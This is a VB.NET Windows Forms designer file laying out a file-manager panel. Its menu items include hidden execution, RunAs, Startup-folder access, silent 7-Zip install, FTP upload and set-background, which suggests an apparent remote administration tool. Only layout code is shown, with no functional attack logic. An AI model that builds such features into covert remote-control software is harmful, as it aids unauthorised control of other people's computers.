GoToToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
DesktopToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
UserFolderToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
TempToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
AppDataToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StartupToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CopyToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CutToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
PasteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
EditToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
FileHashToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ExecuteToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
NormalToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
HiddenToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RunAsToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
DeleteToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
DownloadToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RenameToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
UploadToolStripMenuItem2 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
NewFolderToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ToolStripMenuItem2 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
EncryptToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
DecryptToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
FolderLockToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
LockToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
UnlockToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
NewFileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ShowHideToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ShowFolderFileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
HideFolderFileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ZipToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
HiddenInstallationlToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ZipToolStripMenuItem2 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
UnzipToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
FtpToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
UploadToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
SettingsToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
SendFromLinkToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
SetBackgroundToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
PlayMusicToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
PlayToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StopToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
DownloadFolderToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2GradientButton4 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ContextMenuStrip2.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit
|
||||
ImageList1.ImageSize = New System.Drawing.Size(20, 20)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
'
|
||||
'FileName
|
||||
'
|
||||
FileName.Text = "[ Name ]"
|
||||
FileName.Width = 185
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.AllowDrop = True
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {FileName, Datemod, Type, Fsize})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip2
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(0, 32)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.ShowGroups = False
|
||||
ListView1.ShowItemToolTips = True
|
||||
ListView1.Size = New System.Drawing.Size(651, 316)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.TabIndex = 9
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'Datemod
|
||||
'
|
||||
Datemod.Text = "[ Date modified ]"
|
||||
Datemod.Width = 130
|
||||
'
|
||||
'Type
|
||||
'
|
||||
Type.Text = "[ Type ]"
|
||||
Type.Width = 157
|
||||
'
|
||||
'Fsize
|
||||
'
|
||||
Fsize.Text = "[ Size ]"
|
||||
Fsize.Width = 89
|
||||
'
|
||||
'Guna2ContextMenuStrip2
|
||||
'
|
||||
Guna2ContextMenuStrip2.Items.AddRange(New System.Windows.Forms.ToolStripItem() {BackToolStripMenuItem1, RefreshToolStripMenuItem, GoToToolStripMenuItem1, CopyToolStripMenuItem1, CutToolStripMenuItem1, PasteToolStripMenuItem, EditToolStripMenuItem1, FileHashToolStripMenuItem, ExecuteToolStripMenuItem1, DeleteToolStripMenuItem1, DownloadToolStripMenuItem1, RenameToolStripMenuItem1, UploadToolStripMenuItem2, NewFolderToolStripMenuItem1, ToolStripMenuItem2, FolderLockToolStripMenuItem, NewFileToolStripMenuItem, ShowHideToolStripMenuItem1, ZipToolStripMenuItem1, FtpToolStripMenuItem, SendFromLinkToolStripMenuItem1, SetBackgroundToolStripMenuItem1, PlayMusicToolStripMenuItem, DownloadFolderToolStripMenuItem})
|
||||
Guna2ContextMenuStrip2.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip2.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip2.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip2.Size = New System.Drawing.Size(181, 554)
|
||||
'
|
||||
'BackToolStripMenuItem1
|
||||
'
|
||||
BackToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
BackToolStripMenuItem1.Image = CType(resources.GetObject("BackToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
BackToolStripMenuItem1.Name = "BackToolStripMenuItem1"
|
||||
BackToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
BackToolStripMenuItem1.Text = "[ Back ]"
|
||||
'
|
||||
'RefreshToolStripMenuItem
|
||||
'
|
||||
RefreshToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
RefreshToolStripMenuItem.Image = CType(resources.GetObject("RefreshToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
RefreshToolStripMenuItem.Name = "RefreshToolStripMenuItem"
|
||||
RefreshToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
RefreshToolStripMenuItem.Text = "[ Refresh ]"
|
||||
'
|
||||
'GoToToolStripMenuItem1
|
||||
'
|
||||
GoToToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
GoToToolStripMenuItem1.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {DesktopToolStripMenuItem, UserFolderToolStripMenuItem, TempToolStripMenuItem1, AppDataToolStripMenuItem, StartupToolStripMenuItem1})
|
||||
GoToToolStripMenuItem1.Image = CType(resources.GetObject("GoToToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
GoToToolStripMenuItem1.Name = "GoToToolStripMenuItem1"
|
||||
GoToToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
GoToToolStripMenuItem1.Text = "[ GoTo ]"
|
||||
'
|
||||
'DesktopToolStripMenuItem
|
||||
'
|
||||
DesktopToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
DesktopToolStripMenuItem.Image = CType(resources.GetObject("DesktopToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
DesktopToolStripMenuItem.Name = "DesktopToolStripMenuItem"
|
||||
DesktopToolStripMenuItem.Size = New System.Drawing.Size(147, 22)
|
||||
DesktopToolStripMenuItem.Text = "[ Desktop ]"
|
||||
'
|
||||
'UserFolderToolStripMenuItem
|
||||
'
|
||||
UserFolderToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
UserFolderToolStripMenuItem.Image = CType(resources.GetObject("UserFolderToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
UserFolderToolStripMenuItem.Name = "UserFolderToolStripMenuItem"
|
||||
UserFolderToolStripMenuItem.Size = New System.Drawing.Size(147, 22)
|
||||
UserFolderToolStripMenuItem.Text = "[ User Folder ]"
|
||||
'
|
||||
'TempToolStripMenuItem1
|
||||
'
|
||||
TempToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
TempToolStripMenuItem1.Image = CType(resources.GetObject("TempToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
TempToolStripMenuItem1.Name = "TempToolStripMenuItem1"
|
||||
TempToolStripMenuItem1.Size = New System.Drawing.Size(147, 22)
|
||||
TempToolStripMenuItem1.Text = "[ Temp ]"
|
||||
'
|
||||
'AppDataToolStripMenuItem
|
||||
'
|
||||
AppDataToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
AppDataToolStripMenuItem.Image = CType(resources.GetObject("AppDataToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
AppDataToolStripMenuItem.Name = "AppDataToolStripMenuItem"
|
||||
AppDataToolStripMenuItem.Size = New System.Drawing.Size(147, 22)
|
||||
AppDataToolStripMenuItem.Text = "[ AppData ]"
|
||||
'
|
||||
'StartupToolStripMenuItem1
|
||||
'
|
||||
StartupToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
StartupToolStripMenuItem1.Image = CType(resources.GetObject("StartupToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
StartupToolStripMenuItem1.Name = "StartupToolStripMenuItem1"
|
||||
StartupToolStripMenuItem1.Size = New System.Drawing.Size(147, 22)
|
||||
StartupToolStripMenuItem1.Text = "[ Startup ]"
|
||||
'
|
||||
'CopyToolStripMenuItem1
|
||||
'
|
||||
CopyToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
CopyToolStripMenuItem1.Image = CType(resources.GetObject("CopyToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
CopyToolStripMenuItem1.Name = "CopyToolStripMenuItem1"
|
||||
CopyToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
CopyToolStripMenuItem1.Text = "[ Copy ]"
|
||||
'
|
||||
'CutToolStripMenuItem1
|
||||
'
|
||||
CutToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
CutToolStripMenuItem1.Image = CType(resources.GetObject("CutToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
CutToolStripMenuItem1.Name = "CutToolStripMenuItem1"
|
||||
CutToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
CutToolStripMenuItem1.Text = "[ Cut ]"
|
||||
'
|
||||
'PasteToolStripMenuItem
|
||||
'
|
||||
PasteToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
PasteToolStripMenuItem.Image = CType(resources.GetObject("PasteToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
PasteToolStripMenuItem.Name = "PasteToolStripMenuItem"
|
||||
PasteToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
PasteToolStripMenuItem.Text = "[ Paste ]"
|
||||
'
|
||||
'EditToolStripMenuItem1
|
||||
'
|
||||
EditToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
EditToolStripMenuItem1.Image = CType(resources.GetObject("EditToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
EditToolStripMenuItem1.Name = "EditToolStripMenuItem1"
|
||||
EditToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
EditToolStripMenuItem1.Text = "[ Edit ]"
|
||||
'
|
||||
'FileHashToolStripMenuItem
|
||||
'
|
||||
FileHashToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
FileHashToolStripMenuItem.Image = CType(resources.GetObject("FileHashToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
FileHashToolStripMenuItem.Name = "FileHashToolStripMenuItem"
|
||||
FileHashToolStripMenuItem.Size = New System.Drawing.Size(180, 22)
|
||||
FileHashToolStripMenuItem.Text = "[ File Hash ]"
|
||||
'
|
||||
'ExecuteToolStripMenuItem1
|
||||
'
|
||||
ExecuteToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
ExecuteToolStripMenuItem1.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {NormalToolStripMenuItem1, HiddenToolStripMenuItem1, RunAsToolStripMenuItem1})
|
||||
ExecuteToolStripMenuItem1.Image = CType(resources.GetObject("ExecuteToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
ExecuteToolStripMenuItem1.Name = "ExecuteToolStripMenuItem1"
|
||||
ExecuteToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
ExecuteToolStripMenuItem1.Text = "[ Execute ]"
|
||||
'
|
||||
'NormalToolStripMenuItem1
|
||||
'
|
||||
NormalToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
NormalToolStripMenuItem1.Image = CType(resources.GetObject("NormalToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
NormalToolStripMenuItem1.Name = "NormalToolStripMenuItem1"
|
||||
NormalToolStripMenuItem1.Size = New System.Drawing.Size(128, 22)
|
||||
NormalToolStripMenuItem1.Text = "[ Normal ]"
|
||||
'
|
||||
'HiddenToolStripMenuItem1
|
||||
'
|
||||
HiddenToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
HiddenToolStripMenuItem1.Image = CType(resources.GetObject("HiddenToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
HiddenToolStripMenuItem1.Name = "HiddenToolStripMenuItem1"
|
||||
HiddenToolStripMenuItem1.Size = New System.Drawing.Size(128, 22)
|
||||
HiddenToolStripMenuItem1.Text = "[ Hidden ]"
|
||||
'
|
||||
'RunAsToolStripMenuItem1
|
||||
'
|
||||
RunAsToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
RunAsToolStripMenuItem1.Image = CType(resources.GetObject("RunAsToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
RunAsToolStripMenuItem1.Name = "RunAsToolStripMenuItem1"
|
||||
RunAsToolStripMenuItem1.Size = New System.Drawing.Size(128, 22)
|
||||
RunAsToolStripMenuItem1.Text = "[ RunAs ]"
|
||||
'
|
||||
'DeleteToolStripMenuItem1
|
||||
'
|
||||
DeleteToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
DeleteToolStripMenuItem1.Image = CType(resources.GetObject("DeleteToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
DeleteToolStripMenuItem1.Name = "DeleteToolStripMenuItem1"
|
||||
DeleteToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
DeleteToolStripMenuItem1.Text = "[ Delete ]"
|
||||
'
|
||||
'DownloadToolStripMenuItem1
|
||||
'
|
||||
DownloadToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
DownloadToolStripMenuItem1.Image = CType(resources.GetObject("DownloadToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
DownloadToolStripMenuItem1.Name = "DownloadToolStripMenuItem1"
|
||||
DownloadToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
DownloadToolStripMenuItem1.Text = "[ Download ]"
|
||||
'
|
||||
'RenameToolStripMenuItem1
|
||||
'
|
||||
RenameToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
RenameToolStripMenuItem1.Image = CType(resources.GetObject("RenameToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
RenameToolStripMenuItem1.Name = "RenameToolStripMenuItem1"
|
||||
RenameToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
RenameToolStripMenuItem1.Text = "[ Rename ]"
|
||||
'
|
||||
'UploadToolStripMenuItem2
|
||||
'
|
||||
UploadToolStripMenuItem2.BackColor = System.Drawing.Color.White
|
||||
UploadToolStripMenuItem2.Image = CType(resources.GetObject("UploadToolStripMenuItem2.Image"), System.Drawing.Image)
|
||||
UploadToolStripMenuItem2.Name = "UploadToolStripMenuItem2"
|
||||
UploadToolStripMenuItem2.Size = New System.Drawing.Size(178, 22)
|
||||
UploadToolStripMenuItem2.Text = "[ Upload ]"
|
||||
'
|
||||
'NewFolderToolStripMenuItem1
|
||||
'
|
||||
NewFolderToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
NewFolderToolStripMenuItem1.Image = CType(resources.GetObject("NewFolderToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
NewFolderToolStripMenuItem1.Name = "NewFolderToolStripMenuItem1"
|
||||
NewFolderToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
NewFolderToolStripMenuItem1.Text = "[ New Folder ]"
|
||||
'
|
||||
'ToolStripMenuItem2
|
||||
'
|
||||
ToolStripMenuItem2.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem2.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {EncryptToolStripMenuItem, DecryptToolStripMenuItem})
|
||||
ToolStripMenuItem2.Image = CType(resources.GetObject("ToolStripMenuItem2.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem2.Name = "ToolStripMenuItem2"
|
||||
ToolStripMenuItem2.Size = New System.Drawing.Size(178, 22)
|
||||
ToolStripMenuItem2.Text = "[ File Encrypt ]"
|
||||
'
|
||||
'EncryptToolStripMenuItem
|
||||
'
|
||||
EncryptToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
EncryptToolStripMenuItem.Image = CType(resources.GetObject("EncryptToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
EncryptToolStripMenuItem.Name = "EncryptToolStripMenuItem"
|
||||
EncryptToolStripMenuItem.Size = New System.Drawing.Size(129, 22)
|
||||
EncryptToolStripMenuItem.Text = "[ Encrypt ]"
|
||||
'
|
||||
'DecryptToolStripMenuItem
|
||||
'
|
||||
DecryptToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
DecryptToolStripMenuItem.Image = CType(resources.GetObject("DecryptToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
DecryptToolStripMenuItem.Name = "DecryptToolStripMenuItem"
|
||||
DecryptToolStripMenuItem.Size = New System.Drawing.Size(129, 22)
|
||||
DecryptToolStripMenuItem.Text = "[ Decrypt ]"
|
||||
'
|
||||
'FolderLockToolStripMenuItem
|
||||
'
|
||||
FolderLockToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
FolderLockToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {LockToolStripMenuItem, UnlockToolStripMenuItem})
|
||||
FolderLockToolStripMenuItem.Image = CType(resources.GetObject("FolderLockToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
FolderLockToolStripMenuItem.Name = "FolderLockToolStripMenuItem"
|
||||
FolderLockToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
FolderLockToolStripMenuItem.Text = "[ Folder Lock ]"
|
||||
'
|
||||
'LockToolStripMenuItem
|
||||
'
|
||||
LockToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
LockToolStripMenuItem.Image = CType(resources.GetObject("LockToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
LockToolStripMenuItem.Name = "LockToolStripMenuItem"
|
||||
LockToolStripMenuItem.Size = New System.Drawing.Size(125, 22)
|
||||
LockToolStripMenuItem.Text = "[ Lock ]"
|
||||
'
|
||||
'UnlockToolStripMenuItem
|
||||
'
|
||||
UnlockToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
UnlockToolStripMenuItem.Image = CType(resources.GetObject("UnlockToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
UnlockToolStripMenuItem.Name = "UnlockToolStripMenuItem"
|
||||
UnlockToolStripMenuItem.Size = New System.Drawing.Size(125, 22)
|
||||
UnlockToolStripMenuItem.Text = "[ Unlock ]"
|
||||
'
|
||||
'NewFileToolStripMenuItem
|
||||
'
|
||||
NewFileToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
NewFileToolStripMenuItem.Image = CType(resources.GetObject("NewFileToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
NewFileToolStripMenuItem.Name = "NewFileToolStripMenuItem"
|
||||
NewFileToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
NewFileToolStripMenuItem.Text = "[ New File ]"
|
||||
'
|
||||
'ShowHideToolStripMenuItem1
|
||||
'
|
||||
ShowHideToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
ShowHideToolStripMenuItem1.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {ShowFolderFileToolStripMenuItem, HideFolderFileToolStripMenuItem})
|
||||
ShowHideToolStripMenuItem1.Image = CType(resources.GetObject("ShowHideToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
ShowHideToolStripMenuItem1.Name = "ShowHideToolStripMenuItem1"
|
||||
ShowHideToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
ShowHideToolStripMenuItem1.Text = "[ Show/Hide ]"
|
||||
'
|
||||
'ShowFolderFileToolStripMenuItem
|
||||
'
|
||||
ShowFolderFileToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
ShowFolderFileToolStripMenuItem.Image = CType(resources.GetObject("ShowFolderFileToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
ShowFolderFileToolStripMenuItem.Name = "ShowFolderFileToolStripMenuItem"
|
||||
ShowFolderFileToolStripMenuItem.Size = New System.Drawing.Size(176, 22)
|
||||
ShowFolderFileToolStripMenuItem.Text = "[ Show Folder/File ]"
|
||||
'
|
||||
'HideFolderFileToolStripMenuItem
|
||||
'
|
||||
HideFolderFileToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
HideFolderFileToolStripMenuItem.Image = CType(resources.GetObject("HideFolderFileToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
HideFolderFileToolStripMenuItem.Name = "HideFolderFileToolStripMenuItem"
|
||||
HideFolderFileToolStripMenuItem.Size = New System.Drawing.Size(176, 22)
|
||||
HideFolderFileToolStripMenuItem.Text = "[ Hide Folder/File ]"
|
||||
'
|
||||
'ZipToolStripMenuItem1
|
||||
'
|
||||
ZipToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
ZipToolStripMenuItem1.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {HiddenInstallationlToolStripMenuItem, ZipToolStripMenuItem2, UnzipToolStripMenuItem1})
|
||||
ZipToolStripMenuItem1.Image = CType(resources.GetObject("ZipToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
ZipToolStripMenuItem1.Name = "ZipToolStripMenuItem1"
|
||||
ZipToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
ZipToolStripMenuItem1.Text = "[ 7-Zip ]"
|
||||
'
|
||||
'HiddenInstallationlToolStripMenuItem
|
||||
'
|
||||
HiddenInstallationlToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
HiddenInstallationlToolStripMenuItem.Image = CType(resources.GetObject("HiddenInstallationlToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
HiddenInstallationlToolStripMenuItem.Name = "HiddenInstallationlToolStripMenuItem"
|
||||
HiddenInstallationlToolStripMenuItem.Size = New System.Drawing.Size(119, 22)
|
||||
HiddenInstallationlToolStripMenuItem.Text = "[ Install ]"
|
||||
'
|
||||
'ZipToolStripMenuItem2
|
||||
'
|
||||
ZipToolStripMenuItem2.BackColor = System.Drawing.Color.White
|
||||
ZipToolStripMenuItem2.Image = CType(resources.GetObject("ZipToolStripMenuItem2.Image"), System.Drawing.Image)
|
||||
ZipToolStripMenuItem2.Name = "ZipToolStripMenuItem2"
|
||||
ZipToolStripMenuItem2.Size = New System.Drawing.Size(119, 22)
|
||||
ZipToolStripMenuItem2.Text = "[ Zip ]"
|
||||
'
|
||||
'UnzipToolStripMenuItem1
|
||||
'
|
||||
UnzipToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
UnzipToolStripMenuItem1.Image = CType(resources.GetObject("UnzipToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
UnzipToolStripMenuItem1.Name = "UnzipToolStripMenuItem1"
|
||||
UnzipToolStripMenuItem1.Size = New System.Drawing.Size(119, 22)
|
||||
UnzipToolStripMenuItem1.Text = "[ Unzip ]"
|
||||
'
|
||||
'FtpToolStripMenuItem
|
||||
'
|
||||
FtpToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
FtpToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {UploadToolStripMenuItem, SettingsToolStripMenuItem1})
|
||||
FtpToolStripMenuItem.Image = CType(resources.GetObject("FtpToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
FtpToolStripMenuItem.Name = "FtpToolStripMenuItem"
|
||||
FtpToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
FtpToolStripMenuItem.Text = "[ Ftp ]"
|
||||
'
|
||||
'UploadToolStripMenuItem
|
||||
'
|
||||
UploadToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
UploadToolStripMenuItem.Image = CType(resources.GetObject("UploadToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
UploadToolStripMenuItem.Name = "UploadToolStripMenuItem"
|
||||
UploadToolStripMenuItem.Size = New System.Drawing.Size(130, 22)
|
||||
UploadToolStripMenuItem.Text = "[ Upload ]"
|
||||
'
|
||||
'SettingsToolStripMenuItem1
|
||||
'
|
||||
SettingsToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
SettingsToolStripMenuItem1.Image = CType(resources.GetObject("SettingsToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
SettingsToolStripMenuItem1.Name = "SettingsToolStripMenuItem1"
|
||||
SettingsToolStripMenuItem1.Size = New System.Drawing.Size(130, 22)
|
||||
SettingsToolStripMenuItem1.Text = "[ Settings ]"
|
||||
'
|
||||
'SendFromLinkToolStripMenuItem1
|
||||
'
|
||||
SendFromLinkToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
SendFromLinkToolStripMenuItem1.Image = CType(resources.GetObject("SendFromLinkToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
SendFromLinkToolStripMenuItem1.Name = "SendFromLinkToolStripMenuItem1"
|
||||
SendFromLinkToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
SendFromLinkToolStripMenuItem1.Text = "[ Send From Link ]"
|
||||
'
|
||||
'SetBackgroundToolStripMenuItem1
|
||||
'
|
||||
SetBackgroundToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
